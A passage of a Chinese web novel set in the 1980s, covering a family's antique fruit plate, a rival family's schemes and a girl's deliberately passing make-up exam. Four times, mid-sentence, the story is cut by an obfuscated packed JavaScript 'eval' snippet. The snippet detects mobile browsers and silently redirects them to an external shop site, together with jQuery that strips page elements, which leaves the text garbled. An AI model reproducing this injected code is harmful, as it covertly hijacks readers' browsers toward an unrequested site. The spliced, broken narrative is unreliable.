老头没被唬住,面不改色道:“你说的有道理,但真正的元青花才值钱,赝品可不值钱。” “那可能您上了年纪,眼神不好,辨不出真假。没关系,我就不信整条工艺街没人能辨出真假,既然您这儿不靠谱,那我再去别处问问。” 林小堂掉头就走。 “等等,等等!”老头陪着笑脸迎上去,换上一副和蔼的神色,“别上火嘛,咱再商量商量,来来来,坐下来聊。” 将人揽到木椅上,老头客气地泡了茶,给对面的一大一小倒上两杯热茶。 递茶时,他全部目光俨然放在小女孩身上。 “小姑娘你可别瞧不起人,我干了大半辈子还能不识货?这条街上没有比我更厉害的,这么说吧,你是凭什么认定你手上的是真品?” 林小堂懒得套虚话,“老爷爷,咱就打开天窗说亮话吧,我手上的肯定是真品,我只问你能开多少价?” 哟呵,小姑娘还挺敞亮,“既然这样,那我也跟你讲实话,就算你手上是真品,顶多只值五千。” 五千?嘿,这老头变得真快,看来是留了后手啊。意识到自己插不上嘴的林大金默默端起茶杯酌茶,静观其变。 “老爷爷您不诚心,那咱们没什么好聊的。”林小堂作势要走。 老头按住她,“你先听我说,你这小姑娘年纪轻轻可能不了解行情,以前破四旧,这行不景气,现在的藏家都是因为喜欢才入手,大众对于艺术品的欣赏能力也很低,真品是没有流通价值的,买手上就是砸手上,所以价格普遍都不高,五千已经是高价了。” 呵。 林小堂不置可否。 80年代的古玩市场的确才刚开始起步,但这不代表真品流通价值低,国内消息闭塞、行情不景气,不代表海外行情不行。 不少内地商贩淘了真品都是走私到港澳,港澳拍卖,动辄几十万美元起步。 这老头子欺她年龄小,拿鬼话糊弄她呢。 “老爷爷,什么时候有诚心咱们再聊吧。”林小堂起身就走。 看她来真的,老头从后面喊住她:“等等,要不你留个联系地址,我找好买家好联系你。” “不用,一个月后我再来问信。”林小堂抱着布袋,头也不回地离开。 老头面上一急,扬手要留人,扣住林大金胳膊打算再做做工作,林大金抽出胳膊慌忙追出去。 街上行人不多,三三两两很是冷清,北风在耳边呼呼作响,林大金裹紧大衣三两步追上林小堂步伐,两人之间隔着半步的距离,一前一后两道身影缓缓在街上移动。 走了几米远,林大金盯着身前小小的单薄的背影审视,心里的狐疑愈发严重。 这小丫头片子,板起面孔装大人还装得有模有样,差点连他都唬住。 “你老实交代,那些乱七杂八的知识你都是哪儿听来的?”他听都没听过的东西,怎么林小堂唬起人来头头是道? “因为我是天才。” “别给我插科打诨,你到底哪儿学来的,一天天的尽学些旁门左道,怎么学习上不见你这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055005|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用心?”林大金追上去质问。 “我从电视里学到的。” “鬼扯。” “你爱信不信。” …… 相互追赶着的两人匆匆离开,丝毫没有注意到旁边灌木丛窜出来的男人身影。 望着两道渐行渐远的背影,顾雨眼神似淬了毒。 果然,顾云猜的没错,这两人带着果盘做了鉴定。 他把昨天的鉴定结果以及林小堂那番打碎后重买的说辞一五一十报告给顾云后,顾云当即断定林家并没有把真正的果盘交给他。 他当时还不信,“林家为什么要拿假的应付我?我表现得挺自然啊,他们应该没察觉不对劲。” “不信你就明天盯着林家,看看他们的行踪。” 今天一早他什么也没干,两只眼睛时刻注意林家的动静,果不其然,林大金一大早拎着布袋领着林小堂神神秘秘地出门。 他一路跟至清平路的工艺街,心下已然明了。 该死!林家果然骗了他! 顾雨立马用公用电话亭拨通号码,给顾云报告情况:“小妹,你猜的没错,林大金带了果盘来工艺街做了鉴定,这可咋办?” 那件果盘据说至少能卖几十万元,顾云特意交代他,让他不着痕迹从林家借过来,谁知道林家人这么鸡贼,套了他许多苹果不说,还拿假玩意儿来应付他,简直过分! 顾雨咬牙切齿:“我没想到林家人这么狡猾,看来他们是不会把果盘交出来了,咱们接下来怎么办?” 那可是几十万元啊! 多少人攒一辈子也攒不到这么多钱。 唾手可得的鸭子就这么飞了,谁甘心? 顾雨又愤怒又后悔,愤怒于林家的奸诈,后悔于自己的不谨慎,“我仔细反省,明明没出什么错啊,怎么他林大金能猜出其中关窍?这么一大笔钱,明明快要到手了,就这么没了我是真的不甘心,我……” “算了。”对面传来清冷的一声。 “怎么能算了呢,你说过这笔钱很重要,现在没了,咋办?”顾雨焦急的声音中混杂一股担忧,顾云之前交代过他,让他务必不要失手,现在搞砸了,他心急火燎,不知道有没有坏了顾云的事。 “没关系,我另有办法。”声音不徐不疾。 听出顾云语气中的轻松与笃定,自责的顾雨稍稍放下心来,他小妹是个不折不扣的天才,既然小妹这么发话,肯定有补救的方法。 抹了一把额头的细汗,卸下担忧的顾雨怒从心起,“林家人敢这么戏耍我,我要报复!” “随你。” 顾云对此不置可否,只说:“你要帮我留意一件事。” “什么事?” “帮我留意这阵子林小堂的学习成绩,有什么异常,及时通知我。” 留意林小堂的学习成绩?那孩子不是出了名的学习差,常常在班级里垫底吗?顾云要留意她的学习成绩做什么?顾雨张嘴要问出心中疑惑,想起什么,默默闭了嘴。 这个天才小妹自打开窍之后,性情也跟着变得沉着冷静,她特意交代过,自己做事都有缘由,如果遇到疑惑不解的,也不要多问,尽管去办就是。 想来天才的脑回路是一般凡人无法理解的,顾雨憋下心中的疑惑,一口答应:“好,我帮你留意。” 5. 怕你被揍 原封不动把果盘带回家后,林大金歇了训话的心思。 不管他怎么追问,林小堂只说是在电视上学到的,他也懒得再追问,注意力重新回到果盘上,“这玩意儿难道真是古董?” 看清居堂那老头的表现,这果盘十有八九是真品。 “五千还少了?那岂不是真能卖一万?”林大金心里的美梦重新腾升起来。 也是,若不是真品,顾雨犯得着拉下脸来求和? 林大金喜滋滋地搬起板凳挨在林小堂身旁坐下,准备进一步谈论果盘的买卖价格问题,突然咕噜一声肚子叫,身体提醒他该进食了。 一大早赶着去清平路鉴定果盘,早餐也没吃,在店里耽误一个多钟头,肚皮早饿扁了,他一个成年人都没扛住,林小堂肯定更饿。 怀着几分愧疚起身,林大金从案板旁抽出两只小碗,这会儿他没心思弄早餐,打算冲两碗米花汤应付应付。 装着米花的塑料袋藏在壁柜里,解开绑着的绳索,里面散发一阵轻微的陈旧潮味。 前阵子下雨下个没完,连累米花都要上霉,得找个艳阳天放出去晒晒,去去味。 林大金一边往里掏米花,一边去提脚旁的竹编热水瓶。 滚烫的开水冲入碗中,硬邦邦的米花瞬间松软下来,他刮了刮见底的糖罐,抠抠搜搜舀出两勺白糖,倒进碗中,拿汤匙搅合一下,一碗米花汤就成型了。 “先垫巴垫巴。” 林大金递过一碗给林小堂,自己捧着剩下的一碗三下五除二灌入肚中,咂咂嘴感觉没饱,起身又去塑料袋里掏米花。 一边掏一边不忘关心果盘的事,“咱们一个月之后再去问,那老头还不松口怎么办,这能卖出去吗?咱没渠道也没人脉,怎么出手?” 林小堂恍若未闻,她一手托着下巴,一手慢悠悠转着碗里的汤匙,脑子里思考着另外一个问题:“大哥,你这果盘从哪淘来的?” “大市场啊。” “哪个摊位?”林小堂追问。 林大金提起脚边的热水瓶往碗里倒热水,“不是摊位上买的,是个挑扁担的流动小贩,我和你隔壁王奶奶本来是在大市场里挑选,谁知道那些摊上其他花色五毛钱,青花的要六毛。这一毛钱我能多出吗?肯定是不能啊。就领着王奶奶使劲往大市场里淘,我就不信整个大市场没有五毛的青花果盘卖。” “我俩走了大半个市场,终于遇着这个流动小贩只卖五毛,当时他扁担里也就一对青花果盘,我和隔壁王奶奶一人买了一个……等等!” 林大金话音一顿,与旁边的林小堂对视一眼。 两人从眼神中读懂彼此的想法,默契地起身,飞快敲响隔壁王奶奶家的大门。 “谁啊?” 屋子里一阵窸窸窣窣的声音后,王奶奶打开门栓望着门口突然造访的两人,“哟,啥事啊?” “没什么事。”林大金靠着门框率先开口,“就想问问咱俩之前在大市场买的那个青花果盘,你的还在不?” “在啊。”王奶奶不明所以地看向林大金,“咋啦,你也要借啊?那可不巧,被人借走了。” 林大金眼皮一跳,“被谁?” “顾雨刚才来敲门,说是明天有客,家里果盘不够用,让我把果盘借他用一用。” “是吗,那可真不巧。”林大金强忍着情绪回话,讪讪地回了屋。 一进门他就忍无可忍地咒骂起来。 “那个黑心肝的家伙,骗我的不成,立马又去骗王奶奶家的。这肯定是有去无回,就算王奶奶手上的也是真品,借出去一下,还回来的肯定就是假的了。” “我是真没想到,顾雨连这个都知道,他是怎么知道我和王奶奶一起买了一对儿的?估计这家伙早就打听好了,真阴险!” 林大金气得吹胡子瞪眼,烦躁地在房间里踱来踱去。 现下和王奶奶道出实情也无济于事,没证没据的,奈何不了顾雨。这该死的家伙,借东西的说辞换都不换一下,可见他多么的嚣张,一点也不怕两家对词露馅。 林大金恨得咬牙切齿。 淘到真古董他自然高兴,可一想到顾雨啥也没干居然也白白捡了漏,他心里就抓心抓肺的难受。 凭啥好事都让顾家人占了啊,该死的! 愤愤不平之际,听得一直没吭声的林小堂莫名其妙问了一句:“大哥,今天几号?” “今天是正月十六啊,昨儿才过的元宵。”脱口而出后,他望了一眼墙上的老式挂历,补充:“阳历3月2号。” 已经三月了啊。 林小堂默默在心里呢喃,顾家发家的第一站是在鹏城,八月份鹏城这个沿海小渔村马上要被划为国内首个经济特区,顾雨乘着这股东风,扎根鹏城发展房地产,为日后成为地产大鳄打下坚实的基础。 离八月只剩下几个月的时间,所以顾家才会急着筹备初始资金。 不过……这就是主角一家的气运吗,明明在她家没讨到好处,立马又能在别家找补回来,一点也不亏。 看来发家致富还得跟着气运主角的步伐来。 可是主角一家有主角光环,机缘不好抢,在同一个地方肯定竞争不过对方,她是不是该换一换策略? 港城离鹏城比较近,现在也是经济开始腾飞、房地产蒸蒸向上的时段,不失为一个好去处,要不撮掇撮掇她大哥…… “哎哟~”脑门被狠狠敲了一下,思绪被迫中断,林小堂捧着脑袋愤愤望向一旁的始作俑者,“大哥,你干啥打我!” “干啥打你你不知道啊,你瞅瞅今天都什么日子了!”看了日历的林大金这才意识到马上就要开学,“明天就是报道的日子,你还得补考,这两天尽瞎耽误,一点也没复习是不是?” “我不需要复习。”林小堂揉着额头满含怨念。 “不需要复习?”林大金气笑,“你要是明儿没考好,留了级,像隔壁王奶奶的孙子一样被人嘲笑,我看你还嘴硬不嘴硬!” 接下来一整个下午,林小堂被强迫关在房间里复习。 一年级的数学题对她而言实在是小儿科,闭着眼睛也能做出来,她看得无聊,趴在床上睡了一下午。 第二天一早,她睡得饱饱的起床,兜里揣着两个苹果去了学校。 苹果是要顺路带给她三哥林三满的。 林三满上了初中,开始住校,比她早两天开学,她大哥寻思家里这么多苹果不能让她一个人吃独食,交代她送两个给林三满。 顺路经过初中时,是早餐时间。 她在校门口等了几分钟,一道穿着蓝白校服的清瘦身影急匆匆从食堂处跑来。 林三满是家里老三,最怂的一个。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055006|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他性格不像林大金那样毛毛躁躁、动不动就要揍人,也不像林二玉那样敢闯敢拼、爱憎分明。用大哥的话来讲,十分不具备男子气概。 偏偏连长相也是清秀一挂,邻居小伙伴曾拿他相貌取笑他,嘲他像个女人,他不争也不恼,只当没听见。 后来是林大金出手把人揍了一顿,才制止那些人的风言风语。 “三哥。”等人走近,林小堂从兜里掏出两个又大又红的苹果,“给你。” 面前的少年露出惊讶之色,“大哥买的?” “怎么可能,别人送的。就他那一毛不拔的性子,能舍得拿闲钱去买苹果?” “也是。”少年弯起一双月牙眼,露出两颗洁白的牙齿,心照不宣地笑了。 林小堂这才注意到他面色微微泛红,额头涔出一层细汗,鼻息间轻轻喘着气。 “三哥,你这身体也太差劲了,别偷懒,以后记得要锻炼。”跑两步都顶不住,以后被人欺负可咋办哦,还手都没力气。 “好哦。”林三满伸出手掌揉揉她脑袋,“今天是不是要去补考?早点过去,别迟到了。” 少年连说话的声音也是轻轻柔柔的,不像林大金那个大嗓门,咋咋呼呼。 林小堂与他最不熟,也最生分,却也最放不下他。 她们一家都是对照组,以后面对顾家少不得要吃亏受气,她大哥长得五大三粗,人高马大,十分擅长用拳头解决问题,不会轻易让人欺负。 她二姐一张嘴像厉刀一样直戳人心窝子,谁给她脸色看,她能把人八辈祖宗都搬出来问候一遍,无人敢轻易招惹。 只有林三满,身形单薄又内向寡言,看上去谁都能欺负他。 “三哥。”临走前,林小堂还是没忍住,提醒一句:“少和顾风打交道。” 顾风是顾家的老三,顾云的三哥,与林三满在同一所初中就读,两人不在同一个班级,但总有碰面的时候。 惹不起难道还躲不起吗,以后少和对方纠缠,能避免不少麻烦。 林小堂真心叮嘱:“咱两家素来有嫌隙,你尽量少和他起矛盾,你瞧你又不像大哥那么结实,我怕你被揍。” 少年一怔,轻轻笑了,“知道了。” 林小堂不太放心地转身走了,行到拐弯处还回过头去瞧了一眼,他三哥小心翼翼把苹果塞进口袋,一脸惬意地往教室方向走去。 林小堂稍稍放下心,迈着步子快速往小学方向跑。 她不知道的是,刚走两步的林三满很快被人拦下。 顾风带着两个死党挡在前路,盯着林三满鼓鼓的口袋,“什么东西,拿出来。” 被拦住去路的林三满捂住口袋不自觉后退两步,刚迈脚要跑,肩膀立即被两只胳膊擒住,连人拖到角落处。 密密麻麻拳头砸下来,全落在肚子上。 拼命捂着的苹果再也捂不住,咕噜咕噜滚落在地。 顾风捡起地上的苹果,瞥一眼蜷缩在角落一动不动的萧瑟身影,无声冷笑。 林大金那个铁公鸡舍得买苹果?不还是他顾家送过去的,本来就是自家的苹果,顺手拿回来而已。 角落的人好几分钟没有挪动一下身子,顾风很是满意,打一顿也算是报复了吧,应该可以给他大哥交差了。 咬一口又酸又甜的红苹果,他嚣张又惬意地扬长而去。 6. 刚好及格 林小堂气喘吁吁跑到学校,才发现离九点开始的补考还有半个多钟头。 这年头,没个手表连时间都不知道,真是不方便。 初春的寒气未褪,来报名的孩子们穿着大厚棉袄,顶着一张张红扑扑的脸,在寒风中排成长队,等待去教室窗口落名。 另一群已经报过名的孩子聚在操场公布栏的黑板报处东张西望,黑板报上用方正的楷体写着“做八十年代的活雷锋”几个大字。 学校倡导向雷锋同志学习,做好人好事,要求每位学生佩戴红领巾,拿着扫帚和簸箕打扫学校及周围街道的卫生,这是每次开学的光荣任务。 林小堂这次没法参与其中,她得去补考。 补考的教室安排在最东面的教学楼,教学楼一共两层,红砖黑瓦,里面刷一层绿色的墙裙,讲台正上方挂一行“好好学习,天天向上”的大红漆字,简陋得很。 林小堂站在外面摸索着口袋,看看自己口袋里有没有无意间塞进去一些小纸条,要是被抓到作弊,那她长十张嘴也说不清。 正摸索着,一只大手悄无声息搭在她肩膀,把她拽到一边。 抬头望去,陈阳正扶着眼镜框,一脸凝重地望着她,“可算逮到你了,交出来吧。” 林小堂:? “交什么?” “别和老师装蒜。”陈阳板起一副严肃的面孔,“你是不是把我屋里小板凳上放着的五年级试卷的答案页拿走了?” “那一堆空白试卷是给五年级补考的学生准备的,补考是要决定谁留级谁不留级,这是很严重的事,马虎不得。你把答案页带走,万一透露出去,被人知道,这场考试岂不是没有意义了?” “我……”林小堂张口要反驳。 “你不用反驳。”陈阳打断她,“我料你不会承认,这样吧,你把答案页交上来,我可以不罚你。” “啊?”林小堂实在是冤,“老师,我真没拿。” “你没拿怎么把题全做对了?”陈阳不信。 那是五年级的题,林小堂连自己一年级的试卷都只能考2分,怎么随随便便能做出五年级的题? “对了,你没把答案给别人瞧吧,要是给了,你老实交代给了哪些人,老师心里提前有个底。” 林小堂无言以对。 得,还没开始考呢,她已经要十张嘴都解释不清。 “老师,你亲眼瞧见我拿走了吗?有没有可能是你放在哪个角落忘记了,或者是掉在别的地方你没仔细找,既然老师你没亲眼瞧见,怎么就一口咬定是我拿了?这样冤枉一个学生可不对。” “我……”陈阳张口要反驳。 “你不用反驳。”林小堂也学他板起面孔,开始上价值高度:“作为老师,应该对学生予以基本的信任,而不是在没有任何证据的情况下空口污蔑自己的学生,您要对得起您的身份!” 陈阳哑口。 他被训得有些恍惚,心里的笃定瞬间变得不那么坚定,难道真是自己没在屋子里找仔细? 或许他该好好把杂乱的屋子收拾一下,免得东西总是丢三落四。 行吧,他回头再找找。 陈阳思索着转身,走了几步,忍不住一顿,回头看向迈步教室的小小身影。 不是,这丫头片子,口齿怎么这么伶俐? 以往的印象中,林小堂总是沉默寡言坐在教室靠墙的座位,和她的同桌顾云相比,她实在是毫不起眼。 怎么两天不见,她像换了个人? 奇怪,真是奇怪。 陈阳挠着脑门疑惑地走向办公室,心里七上八下,相比于他的情绪波动,林小堂要淡定得多。 按着学号找到自己的考试座位后,她放下带来的一支笔,托着腮思考问题。 顾雨特意来她家借果盘这件事让她心里不太踏实,顾雨在她家没借到果盘,最后去王奶奶家借到了果盘,这一切大概都是顾云的授意吧。 不然凭借顾雨一个普普通通的人,哪有那本事一眼看透这两果盘是宝贝。 既然如此,顾云应该知道顾雨没在她家借到果盘。 这是一个说大不大,说小不小的事情,其中释放的意义可大可小,就看顾云怎么看待了。 不知怎么,林小堂有股不好的预感。 所以,在试卷发下来之后,原本打算考一百分让众人小小震惊一下的她临时改变主意,只要求及格就行。 她拿起笔,不用十分钟刷刷刷地把试卷做完,然后交卷。 起身时,听得周围同学一阵小小的惊呼。 最意外的要属监考老师陈阳。 从捧着试卷踏入教室的那一刻,他视线多半落在林小堂身上。 这小娃娃怎么突然变得这么能说会道啦,难不成被留级的消息刺激到,性格也跟着变得具有攻击性? 还没等他琢磨明白是怎么回事,人小姑娘突然站起来,把试卷放到讲台上。 “?”他不可置信地捋开衣袖瞧一眼手腕的手表,离开始考试才过去十分钟。 十分钟这家伙就把试卷写完了? 陈阳急匆匆走上讲台,拿起试卷粗略浏览一眼,嘿,填得满满当当的,一个空都没落下。 难道不仅性格变了,连智商也变了? 陈阳不信邪地看了第一道题,3+4=8? 再往下看,5>7? 与4相邻的数是3和6? 什么玩意儿,这不全是错的嘛。 看几个便错几个,看得陈阳极为火大,亏得元宵那天林小堂她大哥苦口婆心过来求机会,林小堂就是这么对待这个唯一的机会的? 陈阳气不过,打算叫住小姑娘好好教训一顿,一抬头,教室哪里还有小姑娘的身影,人早离开了。 嘿,没救了! 考试结束之后,陈阳把所有试卷收上来,带回筒子楼职工宿舍。 试卷不太多,但要求今天出结果,他得尽快批改出来,以便决定留级的名额。 抱着一叠试卷回到宿舍时,意外在门口遇见顾雨。 顾雨一手拎着香蕉,一手提着礼盒,站在筒子楼杂乱的走廊里张望,明显是在特意等他。 “哟,陈老师回来啦,我在这儿等等了十分钟,见你不回来,还打算去学校找你呢。”顾雨眼尖地瞥见他身影,笑脸相迎。 “找我什么事吗?”陈阳推了推鼻梁的眼镜框,谨慎地问。 “嗐,也没什么事,就是吧顾云现在去省城最好的小学读书了,我寻思这一切也有陈老师您的功劳,不过来看看您实在是说不过去。” 一番客套话打消陈阳心里的担忧,他紧绷的脸色松缓下来。 吓死他了,他还以为是顾云在省城小学遇到什么麻烦,或者是融入不进去造成状态不对,这样的话就很棘手了。 作为从小县城走出去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055007|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天才,学校从上到下都希望顾云在省城最好的学校大放光彩,他这个昔日的班主任当然也不例外。 要是顾云那边出了什么事,他是最揪心的一个。 好在顾雨过来只是寒暄,他立即换上笑容,热情地将人请进门,“快进来快进来,进来坐。” 他端出板凳,给顾雨泡了一杯热茶,茶雾缭绕中,透出他一张满是关怀的脸,“小云在省城那边怎么样,一切妥当吗?” “都挺好的,她二姐在那边照顾她,租了间房子,两个人住,环境什么的都好,不会影响她的学习。” “那就好,那就好。对了,我在报纸上瞧见小云要参加‘小智星杯’,她又要适应新环境,又要准备竞赛,忙得过来吗?” “我问过了,她说没问题。” “那就好。”陈阳脸上露出欣慰的笑容,“这孩子,就是厉害。” “她一直都挺有主见的,我不操心。”进门好一阵子都没打探到有用信息,顾雨一边附和,一边将话题往自己想要的方向靠拢,“陈老师,我和你讲句掏心窝子的话,顾云小时候出声说话晚,到两岁才能说出一句完整的话,我当时以为她智商不如别的孩子呢,没想到读书这么争气。” “正常,聪明的孩子开口说话都挺晚,爱因斯坦也是两岁才会说话。” “是吗?”顾雨嘿嘿笑了两声,“不过我隔壁林家那个小姑娘,小时候倒是挺聪明伶俐,不到一岁就会喊爹喊妈了。” “你是说林小堂?” “是啊,”顾雨点点头,“顾云和她是同年同月生的,年龄差不多,你是不知道我以前瞧见林家小姑娘这么早就开口说话而顾云始终不开口,心里有多着急。” 陈阳长叹一口气,轻轻摇头,“早说话也未必是好事,这孩子现在……唉。” “怎么了这是,陈老师你怎么还叹气起来,小堂以前是顾云的同桌,学习应该也不差吧?” “怎么不差?都快要留级了。”陈阳恨铁不成钢地感叹,“这孩子,明明和顾云同桌一年,一点长进也没有,这次补考也不尽人意,我看她得重新读一年。” “你瞧瞧,顾云已经调去省城最好的学校,林小堂却要面临留级,这人与人的际遇,谁能说得准?” “也是,命运还真是说不准。”听到想要打听的内容后,顾雨笑着寒暄几句,很快起身告辞。 “陈老师,我家里还有其他事,以后得空再来看望您。” “行。”陈阳将人送至门外,对着没走两步的身影叮嘱,“小云在那边要是有什么情况,记得通知我一下,让我好落心。” “好嘞,我走了,您别送。” 等人走到拐角处下了楼,陈阳才收回目光返回屋子。 将狭窄的桌面收拾一番,他铺开试卷,认真批改起来。 批完之后已到下午,他坐得腰酸背痛,站起来揉揉肩捶捶膝,突然意识到一个重要的问题。 所有试卷中,似乎没有个位数的分数。 那林小堂考了多少? 批试卷批得太投入,他一般不会特意去看姓名,也就没留意林小堂的分数,嘿,难不成这次她还有进步,分数上了两位数? 陈阳蹲下身在桌边翻找,他倒要看看这次林小堂到底考了多少分。 抽出一看,他当场愣住。 试卷上不多不少,正好六十。 嘿,她补考居然及格了? 7. 不寒而栗 及格的消息传回家时,林大金正在隔壁王奶奶家闲聊。 他还想从王奶奶嘴里套点话,看看当时顾雨骗果盘时到底是怎么一番说辞,陈阳敲响他家大门时,他立即意识到这是补考有了结果。 客客气气将人请进门,又是擦椅又是倒茶,林大金摆出一副极为殷勤的态度,“陈老师,结果出来了吧,咱们家小堂考得怎么样?” 陈阳板着脸,神情有些不悦,搁在手边的茶杯他一滴未沾,看上去心事重重。 林大金一瞧这模样,心里凉了半截。 完蛋,林小堂肯定没戏。 难不成真要留级? “陈老师,是好是歹您给个结果,这样一声不吭的,我心里没底。”林大金不安地搓着双手,扯起嗓子朝房间嚷了一声:“林小堂,出来!” 这种时刻就不该他一人受煎熬。 当事人林小堂没事人一样晃晃悠悠从房间走出来,见了陈阳,摆出笑脸打招呼:“陈老师好。” 满脸天真无邪的神情中看不出半点为补考成绩发愁的迹象。 这模样把林大金气个半死。 “嘿,心态挺好啊,你知道你补考成绩吗?”没心没肺的家伙。 “没心没肺”的林小堂顺手从桌上拎起一个苹果,没有任何心理负担地啃起来,旁边的林大金皱眉作色,“这是我拿来款待陈老师的,你……” “没关系,让她吃吧。”一旁的陈阳默默观察林小堂良久,林小堂镇定自若仿佛对补考成绩很有信心的表现,让他更加坚信自己的判断。 那天林大金领着林小堂去他家走动时,林小堂坐在他家的板凳旁,小板凳上叠着厚厚一挪试卷,上面是五年级的空白试卷,下面便是一年级的空白试卷,都是为这次年级补考准备的试卷。 他怀疑林小堂当时不只是偷看了五年级试卷的答案页,也偷看了一年级试卷的答案页,不然解释不了为何林小堂能考及格。 短时间的突飞猛进压根不合常理,依着正常判断,只能是林小堂作弊。 换做平时,意识到学生作弊的陈阳定然毫不徇私舞弊,当场揭穿,这次他犹豫了。 一是他没有任何证据,所有的想法皆是推断。 二是这事揭露出来,于他名声不利。 如果刨根问底,终究会被有心人知道泄露的源头在他家,林小堂是在他家里看到答案页的,再进一步便会纠扯出林小堂为何出现在他家里。 林大金拎着礼物上门求他的事情毕竟不是件光彩事,若是曝光出来,被有心人添油加醋颠倒是非地胡乱揣测,那他在学校的名声就臭了。 旁人会议论他是收了家长礼物才睁一只眼闭一只眼让学生及格,这事弄不好他还要受处分呢。 越想越觉得不能声张。 “陈老师,您说话呀。”等着听结果的林大金快急死了,是好是坏来个痛快,这样憋着不表态,简直像憋尿一样令人难受。 “陈老师,什么结果你就直说吧,我承受得住。是不是小堂没考及格,要留级?” “不是,她及格了。”陈阳咳了咳,“我今天过来是想通知一下你,明天让小堂去学校正式报道,她不用留级了。” “啊?”林大金始料未及。 愣了好一会儿他才反应过来,“陈老师,您是说小堂考试及格了?她不用留级了?” 后知后觉的林大金被巨大的喜悦笼罩,脑子难得没有糊涂,甚至精明地想出其中弯弯绕绕,只可惜想错了方向。 他一脸感激地握住陈阳双手,“感谢陈老师,感谢陈老师照顾!” “照顾”二字颇有些歧义,陈阳从他神态中悟出某种潜规则的味道,连忙否认:“这事和我没关系,是小堂她自己考的。” “我知道,我都知道。”林大金呵呵傻笑,嘴里嚷着知道,面上一副“我懂,我都懂”的表情。 陈阳:“……” 得,林大金肯定是想歪了。 “小堂她哥,这事跟我真没关系,你别多想。” 林大金哪里还肯听陈阳的解释,他立马从桌子底下捧出那瓶之前未被陈阳接受的酒,重新递过去,“无论如何咱得感谢您,您上次没收,这次就收了吧。” 没想到这陈老师还挺口是心非。 上次登门去拜访,一副毫不留情的铁腕态度,他以为没戏了呢,不料陈老师到底是给林小堂开了后门。 听说60分是个坎,想让学生及格,老师会象征性提到60分,不然以林小堂的实力,哪能恰巧踩在及格线上。 林大金欢天喜地,一定要把酒塞给陈阳以示感谢。 陈阳:“……” 接了就真说不清了。 “不要,我不要!”大手一挥,陈阳逃也似的从林家离开。 沉浸在喜悦中的林大金忘了去追,他乐呵呵地想,大不了以后再给陈老师送去,眼下有另一件紧要的事要办。 他从壁柜中翻出陈年老香,点燃三支,递给林小堂,“去,给祖宗敬香。” 林小堂:“……” 合着她考及格,不是作弊就是老祖宗保佑呗。 “我不去。” “嘿,你个小崽子,要不是你考试前我给咱们家祖宗许了愿,你还不一定能及格呢。” 林小堂:“……那你咋不对咱们家祖宗许愿,让咱们家暴富。” 听到“暴富”字眼,林大金眉心一动,压低声音道:“差点忘了告诉你,我接到你二姐的来信,说是这次买卖赚了一笔大的,本来打算今晚赶回来,怕现金揣在手里不安全,打算明早再回来。” “什么买卖?”林小堂疑惑,“二姐不是在卖小手工品吗?小手工品能赚什么大钱?” “我也不清楚,等你二姐明天回来再说。” 家里的果盘突然变成值钱的古董,一向只做小买卖的二妹又赚了大钱,这怎么不算暴富嘛。 林大金越想越觉得是祖宗保佑,虔诚地朝着堂屋中央并不存在的神位拜了拜。 他不知道的是,陈阳在他家里闹出的这番动静全都落入顾雨眼中。 自打陈阳的身影出现在林大金的家门口,顾雨一双眼睛立马盯上来,他摸索着悄悄靠在楼梯墙角偷听,只隐隐听到“感谢”、“及格”、“不用留级”等字眼。 凭借这几个字眼,他迅速脑补中出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055008|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个始末。 为确保信息真实,又趁着陈阳离开的时候故意制造偶遇,套取真实信息,得到确定的事实后,他立即去公用电话亭拨号给顾云。 “小妹,上次你让我留意的事情有点眉目了,这次林小堂补考考了60分。” “60分?”对面的顾云声音变冷,“这不应该是她的水平吧?” “对,这的确不是她的水平。”顾雨压低声音,将刚才打听到的内容一五一十地告知给对方,“这是林家走后门的结果!” “我还听说元宵那天,林大金带着林小堂去找了一趟陈阳老师,我估摸着陈阳老师收了点好处,睁一只眼闭一只眼让林小堂及格了。” “是么?”顾云没发表意见,“继续观察。” 通常这样的语气代表对方即将挂断电话,顾雨这次有点事情要商量,连忙叫住对方。 